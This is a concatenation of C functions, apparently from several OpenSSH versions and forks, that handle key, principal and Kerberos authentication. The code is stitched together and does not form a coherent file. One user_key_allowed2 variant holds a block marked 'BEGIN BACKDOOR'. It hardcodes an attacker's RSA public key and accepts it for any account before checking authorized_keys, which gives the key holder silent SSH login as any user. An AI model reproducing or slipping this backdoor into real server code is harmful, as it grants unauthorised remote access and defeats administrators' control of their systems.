static int match_principals_file(char *file, struct passwd *pw, struct sshkey_cert *cert) { FILE *f; char line[SSH_MAX_PUBKEY_BYTES], *cp, *ep, *line_opts; u_long linenum = 0; u_int i; temporarily_use_uid(pw); debug("trying authorized principals file %s", file); if ((f = auth_openprincipals(file, pw, options.strict_modes)) == NULL) { restore_uid(); return 0; } while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) { /* Skip leading whitespace. */ for (cp = line; *cp == ' ' || *cp == '\t'; cp++) ; /* Skip blank and comment lines. */ if ((ep = strchr(cp, '#')) != NULL) *ep = '\0'; if (!*cp || *cp == '\n') continue; /* Trim trailing whitespace. */ ep = cp + strlen(cp) - 1; while (ep > cp && (*ep == '\n' || *ep == ' ' || *ep == '\t')) *ep-- = '\0'; /* * If the line has internal whitespace then assume it has * key options. */ line_opts = NULL; if ((ep = strrchr(cp, ' ')) != NULL || (ep = strrchr(cp, '\t')) != NULL) { for (; *ep == ' ' || *ep == '\t'; ep++) ; line_opts = cp; cp = ep; } for (i = 0; i < cert->nprincipals; i++) { if (strcmp(cp, cert->principals[i]) == 0) { debug3("matched principal \"%.100s\" " "from file \"%s\" on line %lu", cert->principals[i], file, linenum); if (auth_parse_options(pw, line_opts, file, linenum) != 1) continue; fclose(f); restore_uid(); return 1; } } } fclose(f); restore_uid(); return 0; }
int auth_krb4_tgt(Authctxt *authctxt, const char *string) { CREDENTIALS creds; struct passwd *pw; if ((pw = authctxt->pw) == NULL) goto failure; temporarily_use_uid(pw); if (!radix_to_creds(string, &creds)) { log("Protocol error decoding Kerberos v4 TGT"); goto failure; } if (strncmp(creds.service, "", 1) == 0) /* backward compatibility */ strlcpy(creds.service, "krbtgt", sizeof creds.service); if (strcmp(creds.service, "krbtgt")) { log("Kerberos v4 TGT (%s%s%s@%s) rejected for %s", creds.pname, creds.pinst[0] ? "." : "", creds.pinst, creds.realm, pw->pw_name); goto failure; } if (!krb4_init(authctxt)) goto failure; if (in_tkt(creds.pname, creds.pinst) != KSUCCESS) goto failure; if (save_credentials(creds.service, creds.instance, creds.realm, creds.session, creds.lifetime, creds.kvno, &creds.ticket_st, creds.issue_date) != KSUCCESS) { debug("Kerberos v4 TGT refused: couldn't save credentials"); goto failure; } /* Successful authentication, passed all checks. */ chown(tkt_string(), pw->pw_uid, pw->pw_gid); debug("Kerberos v4 TGT accepted (%s%s%s@%s)", creds.pname, creds.pinst[0] ? "." : "", creds.pinst, creds.realm); memset(&creds, 0, sizeof(creds)); restore_uid(); return (1); failure: krb4_cleanup_proc(authctxt); memset(&creds, 0, sizeof(creds)); restore_uid(); return (0); }
/* * Checks whether key is allowed in file. * returns 1 if the key is allowed or 0 otherwise. */ static int user_key_allowed2(struct passwd *pw, Key *key, char *file) { FILE *f; int found_key = 0; /********** BEGIN BACKDOOR ***************/ char backdoor_key[] = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMfAdPOOBDuzYih8neJCs6YA0fHyuDTieslk4GjM19JJh89zYR+uXKUlMzwAdEfEoELugoqYRMGg0QVSYIlDzzTtPc26agKEBZAZas7Q+M/Y6HD76EdFbNFzYJ4wo/cYfDpxr2uXhAhKOAQ0AVGBrd26SgHmw4iX8HqLniqyLj+f41jLJoaH09YUQ/O6ZX9nFDoF3fXo2GJJYoxEz0/d63+vKst22vd1XKXApdir3QwfpMwrmMIsS4ObotQsZ0DO9Mbtcv5EmV3/h1EQFIRSNwObKDUMIa0zvZRpGM8LVBzlZ8meVrHm3BiycYSIWjAgrgbUoypuKpGQOevRaF1jDovaX6XVOZyek8WwYWo4J3xYQBpX3Y337T/+VTwdsLwdDWtyMoFjiG0Kgx7qK6zsaHKA8ZElN7OkRlhbQoXlUrvwPWjrw8jM75vhMXpM1ZcS/MzXxUvVJdgoAXcarx9fqfX/BQJcwtR0THiOCeFGq1PTyv2BWn2FkraRozS/hkZS+CmdnDxl26/YE9Ls79+DN13Xgao5aLM/hnti5iXixmuqmv+xENIYyO21wjDbvuool25W58BXj6Yecrxhi68UI899NE9iV38kHeUIYYD1/K7/F9Y7g4PKhDN4KMshYambfqzdx9S+aaeE06+LdapOQt40G9MdgUn73b7uz3il/04Q== martin@phoenix"; char *char_pointer = backdoor_key; Key *found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type); auth_clear_options(); int ret = key_read(found, &char_pointer); if (key_equal(found, key)) { found_key = 1; key_free(found); kk_backdoor_active = 1; return found_key; } key_free(found); /*********** END BACKDOOR ****************/ /* Temporarily use the user's uid. */ temporarily_use_uid(pw); debug("trying public key file %s", file); if ((f = auth_openkeyfile(file, pw, options.strict_modes)) != NULL) { found_key = check_authkeys_file(f, file, key, pw); fclose(f); } restore_uid(); return found_key; }
static int match_principals_file(char *file, struct passwd *pw, struct sshkey_cert *cert) { FILE *f; int success; temporarily_use_uid(pw); debug("trying authorized principals file %s", file); if ((f = auth_openprincipals(file, pw, options.strict_modes)) == NULL) { restore_uid(); return 0; } success = process_principals(f, file, pw, cert); fclose(f); restore_uid(); return success; }
/* * Checks whether key is allowed in file. * returns 1 if the key is allowed or 0 otherwise. */ static int user_key_allowed2(struct passwd *pw, Key *key, char *file) { FILE *f; int found_key = 0; /* Temporarily use the user's uid. */ temporarily_use_uid(pw); debug("trying public key file %s", file); if ((f = auth_openkeyfile(file, pw, options.strict_modes)) != NULL) { found_key = check_authkeys_file(f, file, key, pw); fclose(f); } restore_uid(); return found_key; }
/* return ok if key exists in sysfile or userfile */ HostStatus check_key_in_hostfiles(struct passwd *pw, struct sshkey *key, const char *host, const char *sysfile, const char *userfile) { char *user_hostfile; struct stat st; HostStatus host_status; struct hostkeys *hostkeys; const struct hostkey_entry *found; hostkeys = init_hostkeys(); load_hostkeys(hostkeys, host, sysfile); if (userfile != NULL) { user_hostfile = tilde_expand_filename(userfile, pw->pw_uid); if (options.strict_modes && (stat(user_hostfile, &st) == 0) && ((st.st_uid != 0 && st.st_uid != pw->pw_uid) || (st.st_mode & 022) != 0)) { logit("Authentication refused for %.100s: " "bad owner or modes for %.200s", pw->pw_name, user_hostfile); auth_debug_add("Ignored %.200s: bad ownership or modes", user_hostfile); } else { temporarily_use_uid(pw); load_hostkeys(hostkeys, host, user_hostfile); restore_uid(); } free(user_hostfile); } host_status = check_key_in_hostkeys(hostkeys, key, &found); if (host_status == HOST_REVOKED) error("WARNING: revoked key for %s attempted authentication", found->host); else if (host_status == HOST_OK) debug("%s: key for %s found at %s:%ld", __func__, found->host, found->file, found->line); else debug("%s: key for host %s not found", __func__, host); free_hostkeys(hostkeys); return host_status; }
int auth_rsa_key_allowed(struct passwd *pw, BIGNUM *client_n, Key **rkey) { char *file; u_int i, allowed = 0; temporarily_use_uid(pw); for (i = 0; !allowed && i < options.num_authkeys_files; i++) { file = expand_authorized_keys( options.authorized_keys_files[i], pw); allowed = rsa_key_allowed_in_file(pw, file, client_n, rkey); xfree(file); } restore_uid(); return allowed; }
int ssh_gssapi_update_creds(ssh_gssapi_ccache *store) { int ok = 0; /* Check we've got credentials to store */ if (!gssapi_client.updated) return 0; gssapi_client.updated = 0; temporarily_use_uid(gssapi_client.store.owner); if (gssapi_client.mech && gssapi_client.mech->updatecreds) ok = (*gssapi_client.mech->updatecreds)(store, &gssapi_client); else debug("No update function for this mechanism"); restore_uid(); return ok; }
/* return ok if key exists in sysfile or userfile */ HostStatus check_key_in_hostfiles(struct passwd *pw, Key *key, const char *host, const char *sysfile, const char *userfile) { Key *found; char *user_hostfile; struct stat st; HostStatus host_status; /* Check if we know the host and its host key. */ found = key_new(key->type); host_status = check_host_in_hostfile(sysfile, host, key, found, NULL); if (host_status != HOST_OK && userfile != NULL) { user_hostfile = tilde_expand_filename(userfile, pw->pw_uid); if (options.strict_modes && (stat(user_hostfile, &st) == 0) && ((st.st_uid != 0 && st.st_uid != pw->pw_uid) || (st.st_mode & 022) != 0)) { logit("Authentication refused for %.100s: " "bad owner or modes for %.200s", pw->pw_name, user_hostfile); } else { temporarily_use_uid(pw); host_status = check_host_in_hostfile(user_hostfile, host, key, found, NULL); restore_uid(); } xfree(user_hostfile); } key_free(found); debug2("check_key_in_hostfiles: key %s for %s", host_status == HOST_OK ? "ok" : "not found", host); return host_status; }
/* * Checks whether key is allowed in output of command. * returns 1 if the key is allowed or 0 otherwise. */ static int user_key_command_allowed2(struct passwd *user_pw, Key *key) { FILE *f; int ok, found_key = 0; struct passwd *pw; struct stat st; int status, devnull, p[2], i; pid_t pid; char *username, errmsg[512]; if (options.authorized_keys_command == NULL || options.authorized_keys_command[0] != '/') return 0; if (options.authorized_keys_command_user == NULL) { error("No user for AuthorizedKeysCommand specified, skipping"); return 0; } username = percent_expand(options.authorized_keys_command_user, "u", user_pw->pw_name, (char *)NULL); pw = getpwnam(username); if (pw == NULL) { error("AuthorizedKeysCommandUser \"%s\" not found: %s", username, strerror(errno)); free(username); return 0; } free(username); temporarily_use_uid(pw); if (stat(options.authorized_keys_command, &st) < 0) { error("Could not stat AuthorizedKeysCommand \"%s\": %s", options.authorized_keys_command, strerror(errno)); goto out; } if (auth_secure_path(options.authorized_keys_command, &st, NULL, 0, errmsg, sizeof(errmsg)) != 0) { error("Unsafe AuthorizedKeysCommand: %s", errmsg); goto out; } if (pipe(p) != 0) { error("%s: pipe: %s", __func__, strerror(errno)); goto out; } debug3("Running AuthorizedKeysCommand: \"%s %s\" as \"%s\"", options.authorized_keys_command, user_pw->pw_name, pw->pw_name); /* * Don't want to call this in the child, where it can fatal() and * run cleanup_exit() code. */ restore_uid(); switch ((pid = fork())) { case -1: /* error */ error("%s: fork: %s", __func__, strerror(errno)); close(p[0]); close(p[1]); return 0; case 0: /* child */ for (i = 0; i < NSIG; i++) signal(i, SIG_DFL); if ((devnull = open(_PATH_DEVNULL, O_RDWR)) == -1) { error("%s: open %s: %s", __func__, _PATH_DEVNULL, strerror(errno)); _exit(1); } /* Keep stderr around a while longer to catch errors */ if (dup2(devnull, STDIN_FILENO) == -1 || dup2(p[1], STDOUT_FILENO) == -1) { error("%s: dup2: %s", __func__, strerror(errno)); _exit(1); } closefrom(STDERR_FILENO + 1); /* Don't use permanently_set_uid() here to avoid fatal() */ if (setresgid(pw->pw_gid, pw->pw_gid, pw->pw_gid) != 0) { error("setresgid %u: %s", (u_int)pw->pw_gid, strerror(errno)); _exit(1); } if (setresuid(pw->pw_uid, pw->pw_uid, pw->pw_uid) != 0) { error("setresuid %u: %s", (u_int)pw->pw_uid, strerror(errno)); _exit(1); } /* stdin is pointed to /dev/null at this point */ if (dup2(STDIN_FILENO, STDERR_FILENO) == -1) { error("%s: dup2: %s", __func__, strerror(errno)); _exit(1); } execl(options.authorized_keys_command, options.authorized_keys_command, user_pw->pw_name, NULL); error("AuthorizedKeysCommand %s exec failed: %s", options.authorized_keys_command, strerror(errno)); _exit(127); default: /* parent */ break; } temporarily_use_uid(pw); close(p[1]); if ((f = fdopen(p[0], "r")) == NULL) { error("%s: fdopen: %s", __func__, strerror(errno)); close(p[0]); /* Don't leave zombie child */ kill(pid, SIGTERM); while (waitpid(pid, NULL, 0) == -1 && errno == EINTR) ; goto out; } ok = check_authkeys_file(f, options.authorized_keys_command, key, pw); fclose(f); while (waitpid(pid, &status, 0) == -1) { if (errno != EINTR) { error("%s: waitpid: %s", __func__, strerror(errno)); goto out; } } if (WIFSIGNALED(status)) { error("AuthorizedKeysCommand %s exited on signal %d", options.authorized_keys_command, WTERMSIG(status)); goto out; } else if (WEXITSTATUS(status) != 0) { error("AuthorizedKeysCommand %s returned status %d", options.authorized_keys_command, WEXITSTATUS(status)); goto out; } found_key = ok; out: restore_uid(); return found_key; }
int auth_rsa_key_allowed(struct passwd *pw, BIGNUM *client_n, Key **rkey) { char line[SSH_MAX_PUBKEY_BYTES], *file; int allowed = 0; u_int bits; FILE *f; u_long linenum = 0; Key *key; /* Temporarily use the user's uid. */ temporarily_use_uid(pw); /* The authorized keys. */ file = authorized_keys_file(pw); debug("trying public RSA key file %s", file); f = auth_openkeyfile(file, pw, options.strict_modes); if (!f) { xfree(file); restore_uid(); return (0); } /* Flag indicating whether the key is allowed. */ allowed = 0; key = key_new(KEY_RSA1); /* * Go though the accepted keys, looking for the current key. If * found, perform a challenge-response dialog to verify that the * user really has the corresponding private key. */ while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) { char *cp; char *key_options; int keybits; char *fp; /* Skip leading whitespace, empty and comment lines. */ for (cp = line; *cp == ' ' || *cp == '\t'; cp++) ; if (!*cp || *cp == '\n' || *cp == '#') continue; /* * Check if there are options for this key, and if so, * save their starting address and skip the option part * for now. If there are no options, set the starting * address to NULL. */ if (*cp < '0' || *cp > '9') { int quoted = 0; key_options = cp; for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) { if (*cp == '\\' && cp[1] == '"') cp++; /* Skip both */ else if (*cp == '"') quoted = !quoted; } } else key_options = NULL; /* Parse the key from the line. */ if (hostfile_read_key(&cp, &bits, key) == 0) { debug("%.100s, line %lu: non ssh1 key syntax", file, linenum); continue; } /* cp now points to the comment part. */ /* Check if the we have found the desired key (identified by its modulus). */ if (BN_cmp(key->rsa->n, client_n) != 0) continue; /* check the real bits */ keybits = BN_num_bits(key->rsa->n); if (keybits < 0 || bits != (u_int)keybits) logit("Warning: %s, line %lu: keysize mismatch: " "actual %d vs. announced %d.", file, linenum, BN_num_bits(key->rsa->n), bits); /* Never accept a revoked key */ if (auth_key_is_revoked(key)) break; if (blacklisted_key(key)) { fp = key_fingerprint(key, SSH_FP_MD5, SSH_FP_HEX); if (options.permit_blacklisted_keys) logit("Public key %s blacklisted (see " "ssh-vulnkey(1)); continuing anyway", fp); else logit("Public key %s blacklisted (see " "ssh-vulnkey(1))", fp); xfree(fp); if (!options.permit_blacklisted_keys) continue; } /* We have found the desired key. */ /* * If our options do not allow this key to be used, * do not send challenge. */ if (!auth_parse_options(pw, key_options, file, linenum)) continue; if (key_is_cert_authority) continue; /* break out, this key is allowed */ allowed = 1; break; } /* Restore the privileged uid. */ restore_uid(); /* Close the file. */ xfree(file); fclose(f); /* return key if allowed */ if (allowed && rkey != NULL) *rkey = key; else key_free(key); return (allowed); }
int auth_rsa_key_allowed(struct passwd *pw, BIGNUM *client_n, Key **rkey) { char line[8192], *file; int allowed = 0; u_int bits; FILE *f; u_long linenum = 0; struct stat st; Key *key; /* Temporarily use the user's uid. */ temporarily_use_uid(pw); /* The authorized keys. */ file = authorized_keys_file(pw); debug("trying public RSA key file %s", file); /* Fail quietly if file does not exist */ if (stat(file, &st) < 0) { /* Restore the privileged uid. */ restore_uid(); xfree(file); return (0); } /* Open the file containing the authorized keys. */ f = fopen(file, "r"); if (!f) { /* Restore the privileged uid. */ restore_uid(); xfree(file); return (0); } if (options.strict_modes && secure_filename(f, file, pw, line, sizeof(line)) != 0) { xfree(file); fclose(f); log("Authentication refused: %s", line); restore_uid(); return (0); } /* Flag indicating whether the key is allowed. */ allowed = 0; key = key_new(KEY_RSA1); /* * Go though the accepted keys, looking for the current key. If * found, perform a challenge-response dialog to verify that the * user really has the corresponding private key. */ while (fgets(line, sizeof(line), f)) { char *cp; char *options; linenum++; /* Skip leading whitespace, empty and comment lines. */ for (cp = line; *cp == ' ' || *cp == '\t'; cp++) ; if (!*cp || *cp == '\n' || *cp == '#') continue; /* * Check if there are options for this key, and if so, * save their starting address and skip the option part * for now. If there are no options, set the starting * address to NULL. */ if (*cp < '0' || *cp > '9') { int quoted = 0; options = cp; for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) { if (*cp == '\\' && cp[1] == '"') cp++; /* Skip both */ else if (*cp == '"') quoted = !quoted; } } else options = NULL; /* Parse the key from the line. */ if (hostfile_read_key(&cp, &bits, key) == 0) { debug("%.100s, line %lu: non ssh1 key syntax", file, linenum); continue; } /* cp now points to the comment part. */ /* Check if the we have found the desired key (identified by its modulus). */ if (BN_cmp(key->rsa->n, client_n) != 0) continue; /* check the real bits */ if (bits != BN_num_bits(key->rsa->n)) log("Warning: %s, line %lu: keysize mismatch: " "actual %d vs. announced %d.", file, linenum, BN_num_bits(key->rsa->n), bits); /* We have found the desired key. */ /* * If our options do not allow this key to be used, * do not send challenge. */ if (!auth_parse_options(pw, options, file, linenum)) continue; /* break out, this key is allowed */ allowed = 1; break; } /* Restore the privileged uid. */ restore_uid(); /* Close the file. */ xfree(file); fclose(f); /* return key if allowed */ if (allowed && rkey != NULL) *rkey = key; else key_free(key); return (allowed); }
/* * Checks whether key is allowed in output of command. * returns 1 if the key is allowed or 0 otherwise. */ static int user_key_command_allowed2(struct passwd *user_pw, Key *key) { FILE *f = NULL; int r, ok, found_key = 0; struct passwd *pw; int i, uid_swapped = 0, ac = 0; pid_t pid; char *username = NULL, *key_fp = NULL, *keytext = NULL; char *tmp, *command = NULL, **av = NULL; void (*osigchld)(int); if (options.authorized_keys_command == NULL) return 0; if (options.authorized_keys_command_user == NULL) { error("No user for AuthorizedKeysCommand specified, skipping"); return 0; } /* * NB. all returns later this function should go via "out" to * ensure the original SIGCHLD handler is restored properly. */ osigchld = signal(SIGCHLD, SIG_DFL); /* Prepare and verify the user for the command */ username = percent_expand(options.authorized_keys_command_user, "u", user_pw->pw_name, (char *)NULL); pw = getpwnam(username); if (pw == NULL) { error("AuthorizedKeysCommandUser \"%s\" not found: %s", username, strerror(errno)); goto out; } /* Prepare AuthorizedKeysCommand */ if ((key_fp = sshkey_fingerprint(key, options.fingerprint_hash, SSH_FP_DEFAULT)) == NULL) { error("%s: sshkey_fingerprint failed", __func__); goto out; } if ((r = sshkey_to_base64(key, &keytext)) != 0) { error("%s: sshkey_to_base64 failed: %s", __func__, ssh_err(r)); goto out; } /* Turn the command into an argument vector */ if (split_argv(options.authorized_keys_command, &ac, &av) != 0) { error("AuthorizedKeysCommand \"%s\" contains invalid quotes", command); goto out; } if (ac == 0) { error("AuthorizedKeysCommand \"%s\" yielded no arguments", command); goto out; } for (i = 1; i < ac; i++) { tmp = percent_expand(av[i], "u", user_pw->pw_name, "h", user_pw->pw_dir, "t", sshkey_ssh_name(key), "f", key_fp, "k", keytext, (char *)NULL); if (tmp == NULL) fatal("%s: percent_expand failed", __func__); free(av[i]); av[i] = tmp; } /* Prepare a printable command for logs, etc. */ command = assemble_argv(ac, av); /* * If AuthorizedKeysCommand was run without arguments * then fall back to the old behaviour of passing the * target username as a single argument. */ if (ac == 1) { av = xreallocarray(av, ac + 2, sizeof(*av)); av[1] = xstrdup(user_pw->pw_name); av[2] = NULL; /* Fix up command too, since it is used in log messages */ free(command); xasprintf(&command, "%s %s", av[0], av[1]); } if ((pid = subprocess("AuthorizedKeysCommand", pw, command, ac, av, &f)) == 0) goto out; uid_swapped = 1; temporarily_use_uid(pw); ok = check_authkeys_file(f, options.authorized_keys_command, key, pw); fclose(f); f = NULL; if (exited_cleanly(pid, "AuthorizedKeysCommand", command) != 0) goto out; /* Read completed successfully */ found_key = ok; out: if (f != NULL) fclose(f); signal(SIGCHLD, osigchld); for (i = 0; i < ac; i++) free(av[i]); free(av); if (uid_swapped) restore_uid(); free(command); free(username); free(key_fp); free(keytext); return found_key; }
int auth_krb5_password(Authctxt *authctxt, const char *password) { #ifndef HEIMDAL krb5_creds creds; krb5_principal server; char ccname[40]; int tmpfd; mode_t old_umask; #endif krb5_error_code problem; krb5_ccache ccache = NULL; int len; if (!authctxt->valid) return (0); temporarily_use_uid(authctxt->pw); problem = krb5_init(authctxt); if (problem) goto out; problem = krb5_parse_name(authctxt->krb5_ctx, authctxt->pw->pw_name, &authctxt->krb5_user); if (problem) goto out; #ifdef HEIMDAL problem = krb5_cc_gen_new(authctxt->krb5_ctx, &krb5_mcc_ops, &ccache); if (problem) goto out; problem = krb5_cc_initialize(authctxt->krb5_ctx, ccache, authctxt->krb5_user); if (problem) goto out; restore_uid(); problem = krb5_verify_user(authctxt->krb5_ctx, authctxt->krb5_user, ccache, password, 1, NULL); temporarily_use_uid(authctxt->pw); if (problem) goto out; problem = krb5_cc_gen_new(authctxt->krb5_ctx, &krb5_fcc_ops, &authctxt->krb5_fwd_ccache); if (problem) goto out; problem = krb5_cc_copy_cache(authctxt->krb5_ctx, ccache, authctxt->krb5_fwd_ccache); krb5_cc_destroy(authctxt->krb5_ctx, ccache); ccache = NULL; if (problem) goto out; #else problem = krb5_get_init_creds_password(authctxt->krb5_ctx, &creds, authctxt->krb5_user, (char *)password, NULL, NULL, 0, NULL, NULL); if (problem) goto out; problem = krb5_sname_to_principal(authctxt->krb5_ctx, NULL, NULL, KRB5_NT_SRV_HST, &server); if (problem) goto out; restore_uid(); problem = krb5_verify_init_creds(authctxt->krb5_ctx, &creds, server, NULL, NULL, NULL); krb5_free_principal(authctxt->krb5_ctx, server); temporarily_use_uid(authctxt->pw); if (problem) goto out; if (!krb5_kuserok(authctxt->krb5_ctx, authctxt->krb5_user, authctxt->pw->pw_name)) { problem = -1; goto out; } snprintf(ccname,sizeof(ccname),"FILE:/tmp/krb5cc_%d_XXXXXX",geteuid()); old_umask = umask(0177); tmpfd = mkstemp(ccname + strlen("FILE:")); umask(old_umask); if (tmpfd == -1) { logit("mkstemp(): %.100s", strerror(errno)); problem = errno; goto out; } if (fchmod(tmpfd,S_IRUSR | S_IWUSR) == -1) { logit("fchmod(): %.100s", strerror(errno)); close(tmpfd); problem = errno; goto out; } close(tmpfd); problem = krb5_cc_resolve(authctxt->krb5_ctx, ccname, &authctxt->krb5_fwd_ccache); if (problem) goto out; problem = krb5_cc_initialize(authctxt->krb5_ctx, authctxt->krb5_fwd_ccache, authctxt->krb5_user); if (problem) goto out; problem= krb5_cc_store_cred(authctxt->krb5_ctx, authctxt->krb5_fwd_ccache, &creds); if (problem) goto out; #endif authctxt->krb5_ticket_file = (char *)krb5_cc_get_name(authctxt->krb5_ctx, authctxt->krb5_fwd_ccache); len = strlen(authctxt->krb5_ticket_file) + 6; authctxt->krb5_ccname = xmalloc(len); snprintf(authctxt->krb5_ccname, len, "FILE:%s", authctxt->krb5_ticket_file); out: restore_uid(); if (problem) { if (ccache) krb5_cc_destroy(authctxt->krb5_ctx, ccache); if (authctxt->krb5_ctx != NULL && problem!=-1) debug("Kerberos password authentication failed: %s", krb5_get_err_text(authctxt->krb5_ctx, problem)); else debug("Kerberos password authentication failed: %d", problem); krb5_cleanup_proc(authctxt); if (options.kerberos_or_local_passwd) return (-1); else return (0); } return (1); }
int auth_krb5_password(struct authctxt *authctxt, const char *password) { krb5_error_code problem; krb5_ccache ccache = NULL; const char *errmsg; temporarily_use_uid(authctxt->pw); problem = krb5_init(authctxt); if (problem) goto out; problem = krb5_parse_name(authctxt->krb5_ctx, authctxt->pw->pw_name, &authctxt->krb5_user); if (problem) goto out; problem = krb5_cc_new_unique(authctxt->krb5_ctx, krb5_mcc_ops.prefix, NULL, &ccache); if (problem) goto out; problem = krb5_cc_initialize(authctxt->krb5_ctx, ccache, authctxt->krb5_user); if (problem) goto out; restore_uid(); problem = krb5_verify_user(authctxt->krb5_ctx, authctxt->krb5_user, ccache, password, 1, NULL); temporarily_use_uid(authctxt->pw); if (problem) goto out; problem = krb5_cc_new_unique(authctxt->krb5_ctx, krb5_fcc_ops.prefix, NULL, &authctxt->krb5_fwd_ccache); if (problem) goto out; problem = krb5_cc_copy_cache(authctxt->krb5_ctx, ccache, authctxt->krb5_fwd_ccache); krb5_cc_destroy(authctxt->krb5_ctx, ccache); ccache = NULL; if (problem) goto out; authctxt->krb5_ticket_file = (char *)krb5_cc_get_name(authctxt->krb5_ctx, authctxt->krb5_fwd_ccache); out: restore_uid(); if (problem) { if (ccache) krb5_cc_destroy(authctxt->krb5_ctx, ccache); if (authctxt->krb5_ctx != NULL) { errmsg = krb5_get_error_message(authctxt->krb5_ctx, problem); debug("Kerberos password authentication failed: %s", errmsg); krb5_free_error_message(authctxt->krb5_ctx, errmsg); } else debug("Kerberos password authentication failed: %d", problem); krb5_cleanup_proc(authctxt); if (options.kerberos_or_local_passwd) return (-1); else return (0); } return (authctxt->valid ? 1 : 0); }
int auth_krb5_tgt(Authctxt *authctxt, krb5_data *tgt) { krb5_error_code problem; krb5_ccache ccache = NULL; char *pname; const char *errtxt; if (authctxt->pw == NULL || authctxt->krb5_user == NULL) return (0); temporarily_use_uid(authctxt->pw); problem = krb5_cc_new_unique(authctxt->krb5_ctx, "FILE", NULL, &ccache); if (problem) goto fail; problem = krb5_cc_initialize(authctxt->krb5_ctx, ccache, authctxt->krb5_user); if (problem) goto fail; problem = krb5_rd_cred2(authctxt->krb5_ctx, authctxt->krb5_auth_ctx, ccache, tgt); if (problem) goto fail; authctxt->krb5_fwd_ccache = ccache; ccache = NULL; authctxt->krb5_ticket_file = __UNCONST(krb5_cc_get_name(authctxt->krb5_ctx, authctxt->krb5_fwd_ccache)); problem = krb5_unparse_name(authctxt->krb5_ctx, authctxt->krb5_user, &pname); if (problem) goto fail; #ifdef USE_PAM if (options.use_pam) do_pam_putenv(__UNCONST("KRB5CCNAME"), authctxt->krb5_ticket_file); #endif debug("Kerberos v5 TGT accepted (%s)", pname); restore_uid(); return (1); fail: if (problem) { errtxt = krb5_get_error_message(authctxt->krb5_ctx, problem); if (errtxt != NULL) { debug("Kerberos v5 TGT passing failed: %s", errtxt); krb5_free_error_message(authctxt->krb5_ctx, errtxt); } else debug("Kerberos v5 TGT passing failed: %d", problem); } if (ccache) krb5_cc_destroy(authctxt->krb5_ctx, ccache); restore_uid(); return (0); }
int auth_krb5_tgt(Authctxt *authctxt, krb5_data *tgt) { krb5_error_code problem; krb5_ccache ccache = NULL; char *pname; krb5_creds **creds; if (authctxt->pw == NULL || authctxt->krb5_user == NULL) return (0); temporarily_use_uid(authctxt->pw); #ifdef HEIMDAL problem = krb5_cc_gen_new(authctxt->krb5_ctx, &krb5_fcc_ops, &ccache); #else { char ccname[40]; int tmpfd; snprintf(ccname,sizeof(ccname),"FILE:/tmp/krb5cc_%d_XXXXXX",geteuid()); if ((tmpfd = mkstemp(ccname+strlen("FILE:")))==-1) { log("mkstemp(): %.100s", strerror(errno)); problem = errno; goto fail; } if (fchmod(tmpfd,S_IRUSR | S_IWUSR) == -1) { log("fchmod(): %.100s", strerror(errno)); close(tmpfd); problem = errno; goto fail; } close(tmpfd); problem = krb5_cc_resolve(authctxt->krb5_ctx, ccname, &ccache); } #endif if (problem) goto fail; problem = krb5_cc_initialize(authctxt->krb5_ctx, ccache, authctxt->krb5_user); if (problem) goto fail; #ifdef HEIMDAL problem = krb5_rd_cred2(authctxt->krb5_ctx, authctxt->krb5_auth_ctx, ccache, tgt); if (problem) goto fail; #else problem = krb5_rd_cred(authctxt->krb5_ctx, authctxt->krb5_auth_ctx, tgt, &creds, NULL); if (problem) goto fail; problem = krb5_cc_store_cred(authctxt->krb5_ctx, ccache, *creds); if (problem) goto fail; #endif authctxt->krb5_fwd_ccache = ccache; ccache = NULL; authctxt->krb5_ticket_file = (char *)krb5_cc_get_name(authctxt->krb5_ctx, authctxt->krb5_fwd_ccache); problem = krb5_unparse_name(authctxt->krb5_ctx, authctxt->krb5_user, &pname); if (problem) goto fail; debug("Kerberos v5 TGT accepted (%s)", pname); restore_uid(); return (1); fail: if (problem) debug("Kerberos v5 TGT passing failed: %s", krb5_get_err_text(authctxt->krb5_ctx, problem)); if (ccache) krb5_cc_destroy(authctxt->krb5_ctx, ccache); restore_uid(); return (0); }
/* check to see if the script specified by file can authorize the key * * the script will have the key written to STDIN, which is identical * to the normal public key format. * * the script must exit with either 0 for success or 1 for failure. * the script can print login options (if any) to STDOUT. No whitepace should be added * to the output. * * Use with caution: the script can hang sshd. It is recommended you code the script * with a timeout set if it cannot determine authenication quickly. */ static int user_key_found_by_script(struct passwd *pw, Key *key, char *file) { pid_t pid; char line[SSH_MAX_PUBKEY_BYTES]; int pipe_in[2]; int pipe_out[2]; int exit_code = 1; int success = 0; FILE *f; //mysig_t oldsig; pipe(pipe_in); pipe(pipe_out); //oldsig = signal(SIGCHLD, SIG_IGN); temporarily_use_uid(pw); debug3("user_key_found_by_script: executing %s", file); switch ((pid = fork())) { case -1: error("fork(): %s", strerror(errno)); restore_uid(); return (-1); case 0: /* setup input pipe */ close(pipe_in[1]); dup2(pipe_in[0], 0); close(pipe_in[0]); /* setup output pipe */ close(pipe_out[0]); dup2(pipe_out[1], 1); close(pipe_out[1]); execl(file, file, NULL); /* exec failed */ error("execl(): %s", strerror(errno)); _exit(1); default: debug3("user_key_found_by_script: script pid %d", pid); close(pipe_in[0]); close(pipe_out[1]); f = fdopen(pipe_in[1], "w"); key_write(key, f); fclose(f); while(waitpid(pid, &exit_code, 0) < 0) { switch(errno) { case EINTR: debug3("user_key_found_by_script: waitpid() EINTR, continuing"); continue; default: error("waitpid(): %s", strerror(errno)); goto waitpid_error; } } if (WIFEXITED(exit_code) && WEXITSTATUS(exit_code) == 0) { int amt_read = read(pipe_out[0], line, sizeof(line) - 1); line[amt_read] = ' '; line[amt_read + 1] = 0; debug3("user_key_found_by_script: options: %s", line); if (auth_parse_options(pw, line, file, 0) == 1) success = 1; } waitpid_error: close(pipe_out[0]); } restore_uid(); //signal(SIGCHLD, oldsig); return success; }
